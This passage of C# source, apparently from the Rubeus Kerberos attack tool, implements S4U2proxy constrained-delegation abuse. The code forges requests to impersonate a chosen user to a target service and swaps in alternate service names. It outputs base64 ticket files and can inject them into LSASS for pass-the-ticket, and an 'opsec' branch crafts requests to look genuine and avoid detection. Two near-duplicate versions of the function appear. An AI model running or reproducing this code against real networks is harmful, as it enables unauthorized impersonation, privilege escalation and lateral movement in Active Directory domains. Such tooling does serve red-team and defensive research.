etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype; Console.WriteLine("[*] Building S4U2proxy request for service: '{0}'", targetSPN); TGS_REQ s4u2proxyReq = new TGS_REQ(!opsec); s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CONSTRAINED_DELEGATION; s4u2proxyReq.req_body.realm = domain; string[] parts = targetSPN.Split('/'); string serverName = parts[parts.Length - 1]; s4u2proxyReq.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_INST; foreach (string part in parts) { s4u2proxyReq.req_body.sname.name_string.Add(part); } // supported encryption types s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1); s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac); // add in the ticket from the S4U2self response s4u2proxyReq.req_body.additional_tickets.Add(tgs.tickets[0]); // needed for authenticator checksum byte[] cksum_Bytes = null; // the rest of the opsec changes if (opsec) { // remove renewableok and add canonicalize s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions & ~Interop.KdcOptions.RENEWABLEOK; s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE; // 15 minutes in the future like genuine requests DateTime till = DateTime.Now; till = till.AddMinutes(15); s4u2proxyReq.req_body.till = till; // extra etypes s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac_exp); s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.old_exp); // get hostname and hostname of SPN string hostName = Dns.GetHostName().ToUpper(); string targetHostName; if (parts.Length > 1) { targetHostName = parts[1].Substring(0, parts[1].IndexOf('.')).ToUpper(); } else { targetHostName = hostName; } // create enc-authorization-data if target host is not the local machine if (hostName != targetHostName) { // authdata requires key and etype from tgs byte[] tgsKey = tgs.enc_part.ticket_info[0].key.keyvalue; Interop.KERB_ETYPE tgsEtype = (Interop.KERB_ETYPE)tgs.enc_part.ticket_info[0].key.keytype; ADIfRelevant ifrelevant = new ADIfRelevant(); ADRestrictionEntry restrictions = new ADRestrictionEntry(); ADKerbLocal kerbLocal = new ADKerbLocal(); ifrelevant.ADData.Add(restrictions); ifrelevant.ADData.Add(kerbLocal); AsnElt authDataSeq = ifrelevant.Encode(); authDataSeq = AsnElt.Make(AsnElt.SEQUENCE, authDataSeq); byte[] authorizationDataBytes = authDataSeq.Encode(); byte[] enc_authorization_data = Crypto.KerberosEncrypt(tgsEtype, Interop.KRB_KEY_USAGE_TGS_REQ_ENC_AUTHOIRZATION_DATA, tgsKey, authorizationDataBytes); s4u2proxyReq.req_body.enc_authorization_data = new EncryptedData((Int32)tgsEtype, enc_authorization_data); } // encode req_body for authenticator cksum AsnElt req_Body_ASN = s4u2proxyReq.req_body.Encode(); AsnElt req_Body_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { req_Body_ASN }); req_Body_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, req_Body_ASNSeq); byte[] req_Body_Bytes = req_Body_ASNSeq.CopyValue(); cksum_Bytes = Crypto.KerberosChecksum(clientKey, req_Body_Bytes, Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_RSA_MD5); } // moved to end so we can have the checksum in the authenticator PA_DATA padata = new PA_DATA(domain, userName, ticket, clientKey, etype, opsec, cksum_Bytes); s4u2proxyReq.padata.Add(padata); PA_DATA pac_options = new PA_DATA(false, false, false, true); s4u2proxyReq.padata.Add(pac_options); byte[] s4ubytes = s4u2proxyReq.Encode().Encode(); byte[] response2 = null; if (String.IsNullOrEmpty(proxyUrl)) { string dcIP = Networking.GetDCIP(domainController); if (String.IsNullOrEmpty(dcIP)) { return; } Console.WriteLine("[*] Sending S4U2proxy request to domain controller {0}:88", dcIP); response2 = Networking.SendBytes(dcIP, 88, s4ubytes); } else { Console.WriteLine("[*] Sending S4U2proxy request via KDC proxy: {0}", proxyUrl); KDC_PROXY_MESSAGE message = new KDC_PROXY_MESSAGE(s4ubytes); message.target_domain = domain; response2 = Networking.MakeProxyRequest(proxyUrl, message); } if (response2 == null) { return; } // decode the supplied bytes to an AsnElt object // false == ignore trailing garbage AsnElt responseAsn = AsnElt.Decode(response2, false); // check the response value int responseTag = responseAsn.TagValue; if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.TGS_REP) { Console.WriteLine("[+] S4U2proxy success!"); // parse the response to an TGS-REP TGS_REP rep2 = new TGS_REP(responseAsn); // https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62 byte[] outBytes2 = Crypto.KerberosDecrypt(etype, 8, clientKey, rep2.enc_part.cipher); AsnElt ae2 = AsnElt.Decode(outBytes2, false); EncKDCRepPart encRepPart2 = new EncKDCRepPart(ae2.Sub[0]); if (!String.IsNullOrEmpty(altService)) { string[] altSnames = altService.Split(','); foreach (string altSname in altSnames) { // now build the final KRB-CRED structure with one or more alternate snames KRB_CRED cred = new KRB_CRED(); // since we want an alternate sname, first substitute it into the ticket structure rep2.ticket.sname.name_string[0] = altSname; // add the ticket cred.tickets.Add(rep2.ticket); // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart KrbCredInfo info = new KrbCredInfo(); // [0] add in the session key info.key.keytype = encRepPart2.key.keytype; info.key.keyvalue = encRepPart2.key.keyvalue; // [1] prealm (domain) info.prealm = encRepPart2.realm; // [2] pname (user) info.pname.name_type = rep2.cname.name_type; info.pname.name_string = rep2.cname.name_string; // [3] flags info.flags = encRepPart2.flags; // [4] authtime (not required) // [5] starttime info.starttime = encRepPart2.starttime; // [6] endtime info.endtime = encRepPart2.endtime; // [7] renew-till info.renew_till = encRepPart2.renew_till; // [8] srealm info.srealm = encRepPart2.realm; // [9] sname info.sname.name_type = encRepPart2.sname.name_type; info.sname.name_string = encRepPart2.sname.name_string; // if we want an alternate sname, substitute it into the encrypted portion of the KRB_CRED Console.WriteLine("[*] Substituting alternative service name '{0}'", altSname); info.sname.name_string[0] = altSname; // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); string kirbiString = Convert.ToBase64String(kirbiBytes); Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}/{1}':\r\n", altSname, serverName); if (Rubeus.Program.wrapTickets) { // display the .kirbi base64, columns of 80 chararacters foreach (string line in Helpers.Split(kirbiString, 80)) { Console.WriteLine(" {0}", line); } } else { Console.WriteLine(" {0}", kirbiString); } if (!String.IsNullOrEmpty(outfile)) { string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{altSname}-{serverName}{Helpers.GetExtensionFromFilename(outfile)}"; filename = Helpers.MakeValidFileName(filename); if (Helpers.WriteBytesToFile(filename, kirbiBytes)) { Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename); } } if (ptt) { // pass-the-ticket -> import into LSASS ImportTicket(kirbiBytes, createnetonly, show); } } } else { // now build the final KRB-CRED structure, no alternate snames KRB_CRED cred = new KRB_CRED(); // if we want an alternate sname, first substitute it into the ticket structure if (!String.IsNullOrEmpty(altService)) { rep2.ticket.sname.name_string[0] = altService; } // add the ticket cred.tickets.Add(rep2.ticket); // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart KrbCredInfo info = new KrbCredInfo(); // [0] add in the session key info.key.keytype = encRepPart2.key.keytype; info.key.keyvalue = encRepPart2.key.keyvalue; // [1] prealm (domain) info.prealm = encRepPart2.realm; // [2] pname (user) info.pname.name_type = rep2.cname.name_type; info.pname.name_string = rep2.cname.name_string; // [3] flags info.flags = encRepPart2.flags; // [4] authtime (not required) // [5] starttime info.starttime = encRepPart2.starttime; // [6] endtime info.endtime = encRepPart2.endtime; // [7] renew-till info.renew_till = encRepPart2.renew_till; // [8] srealm info.srealm = encRepPart2.realm; // [9] sname info.sname.name_type = encRepPart2.sname.name_type; info.sname.name_string = encRepPart2.sname.name_string; // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); string kirbiString = Convert.ToBase64String(kirbiBytes); Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}':\r\n", targetSPN); if (Rubeus.Program.wrapTickets) { // display the .kirbi base64, columns of 80 chararacters foreach (string line in Helpers.Split(kirbiString, 80)) { Console.WriteLine(" {0}", line); } } else { Console.WriteLine(" {0}", kirbiString); } if (!String.IsNullOrEmpty(outfile)) { string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{targetSPN}{Helpers.GetExtensionFromFilename(outfile)}"; filename = Helpers.MakeValidFileName(filename); if (Helpers.WriteBytesToFile(filename, kirbiBytes)) { Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename); } } if (ptt) { // pass-the-ticket -> import into LSASS ImportTicket(kirbiBytes, createnetonly, show); } } } else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR) { // parse the response to an KRB-ERROR KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); } else { Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); } }
private static void S4U2Proxy(KRB_CRED kirbi, string targetUser, string targetSPN, string outfile, bool ptt, string domainController = "", string altService = "", Ticket tgs = null) { Console.WriteLine("[*] Impersonating user '{0}' to target SPN '{1}'", targetUser, targetSPN); if (!String.IsNullOrEmpty(altService)) { string[] altSnames = altService.Split(','); if (altSnames.Length == 1) { Console.WriteLine("[*] Final ticket will be for the alternate service '{0}'", altService); } else { Console.WriteLine("[*] Final tickets will be for the alternate services '{0}'", altService); } } // extract out the info needed for the TGS-REQ/S4U2Proxy execution string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0]; string domain = kirbi.enc_part.ticket_info[0].prealm; Ticket ticket = kirbi.tickets[0]; byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue; Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype; string dcIP = Networking.GetDCIP(domainController); if (String.IsNullOrEmpty(dcIP)) { return; } Console.WriteLine("[*] Building S4U2proxy request for service: '{0}'", targetSPN); TGS_REQ s4u2proxyReq = new TGS_REQ(); PA_DATA padata = new PA_DATA(domain, userName, ticket, clientKey, etype); s4u2proxyReq.padata.Add(padata); PA_DATA pac_options = new PA_DATA(false, false, false, true); s4u2proxyReq.padata.Add(pac_options); s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CNAMEINADDLTKT; s4u2proxyReq.req_body.realm = domain; string[] parts = targetSPN.Split('/'); string serverName = parts[parts.Length - 1]; s4u2proxyReq.req_body.sname.name_type = 2; foreach (string part in parts) { s4u2proxyReq.req_body.sname.name_string.Add(part); } // supported encryption types s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1); s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac); // add in the ticket from the S4U2self response s4u2proxyReq.req_body.additional_tickets.Add(tgs); byte[] s4ubytes = s4u2proxyReq.Encode().Encode(); Console.WriteLine("[*] Sending S4U2proxy request"); byte[] response2 = Networking.SendBytes(dcIP, 88, s4ubytes); if (response2 == null) { return; } // decode the supplied bytes to an AsnElt object // false == ignore trailing garbage AsnElt responseAsn = AsnElt.Decode(response2, false); // check the response value int responseTag = responseAsn.TagValue; if (responseTag == 13) { Console.WriteLine("[+] S4U2proxy success!"); // parse the response to an TGS-REP TGS_REP rep2 = new TGS_REP(responseAsn); // https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62 byte[] outBytes2 = Crypto.KerberosDecrypt(etype, 8, clientKey, rep2.enc_part.cipher); AsnElt ae2 = AsnElt.Decode(outBytes2, false); EncKDCRepPart encRepPart2 = new EncKDCRepPart(ae2.Sub[0]); if (!String.IsNullOrEmpty(altService)) { string[] altSnames = altService.Split(','); foreach (string altSname in altSnames) { // now build the final KRB-CRED structure with one or more alternate snames KRB_CRED cred = new KRB_CRED(); // since we want an alternate sname, first substitute it into the ticket structure rep2.ticket.sname.name_string[0] = altSname; // add the ticket cred.tickets.Add(rep2.ticket); // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart KrbCredInfo info = new KrbCredInfo(); // [0] add in the session key info.key.keytype = encRepPart2.key.keytype; info.key.keyvalue = encRepPart2.key.keyvalue; // [1] prealm (domain) info.prealm = encRepPart2.realm; // [2] pname (user) info.pname.name_type = rep2.cname.name_type; info.pname.name_string = rep2.cname.name_string; // [3] flags info.flags = encRepPart2.flags; // [4] authtime (not required) // [5] starttime info.starttime = encRepPart2.starttime; // [6] endtime info.endtime = encRepPart2.endtime; // [7] renew-till info.renew_till = encRepPart2.renew_till; // [8] srealm info.srealm = encRepPart2.realm; // [9] sname info.sname.name_type = encRepPart2.sname.name_type; info.sname.name_string = encRepPart2.sname.name_string; // if we want an alternate sname, substitute it into the encrypted portion of the KRB_CRED Console.WriteLine("[*] Substituting alternative service name '{0}'", altSname); info.sname.name_string[0] = altSname; // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); string kirbiString = Convert.ToBase64String(kirbiBytes); Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}/{1}':\r\n", altSname, serverName); // display the .kirbi base64, columns of 80 chararacters foreach (string line in Helpers.Split(kirbiString, 80)) { Console.WriteLine(" {0}", line); } if (!String.IsNullOrEmpty(outfile)) { string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{altSname}-{serverName}{Helpers.GetExtensionFromFilename(outfile)}"; filename = Helpers.MakeValidFileName(filename); if (Helpers.WriteBytesToFile(filename, kirbiBytes)) { Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename); } } if (ptt) { // pass-the-ticket -> import into LSASS LSA.ImportTicket(kirbiBytes, new Interop.LUID()); } } } else { // now build the final KRB-CRED structure, no alternate snames KRB_CRED cred = new KRB_CRED(); // if we want an alternate sname, first substitute it into the ticket structure if (!String.IsNullOrEmpty(altService)) { rep2.ticket.sname.name_string[0] = altService; } // add the ticket cred.tickets.Add(rep2.ticket); // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart KrbCredInfo info = new KrbCredInfo(); // [0] add in the session key info.key.keytype = encRepPart2.key.keytype; info.key.keyvalue = encRepPart2.key.keyvalue; // [1] prealm (domain) info.prealm = encRepPart2.realm; // [2] pname (user) info.pname.name_type = rep2.cname.name_type; info.pname.name_string = rep2.cname.name_string; // [3] flags info.flags = encRepPart2.flags; // [4] authtime (not required) // [5] starttime info.starttime = encRepPart2.starttime; // [6] endtime info.endtime = encRepPart2.endtime; // [7] renew-till info.renew_till = encRepPart2.renew_till; // [8] srealm info.srealm = encRepPart2.realm; // [9] sname info.sname.name_type = encRepPart2.sname.name_type; info.sname.name_string = encRepPart2.sname.name_string; // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); string kirbiString = Convert.ToBase64String(kirbiBytes); Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}':\r\n", targetSPN); // display the .kirbi base64, columns of 80 chararacters foreach (string line in Helpers.Split(kirbiString, 80)) { Console.WriteLine(" {0}", line); } if (!String.IsNullOrEmpty(outfile)) { string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{targetSPN}{Helpers.GetExtensionFromFilename(outfile)}"; filename = Helpers.MakeValidFileName(filename); if (Helpers.WriteBytesToFile(filename, kirbiBytes)) { Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename); } } if (ptt) { // pass-the-ticket -> import into LSASS LSA.ImportTicket(kirbiBytes, new Interop.LUID()); } } } else if (responseTag == 30) { // parse the response to an KRB-ERROR KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); } else { Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); } }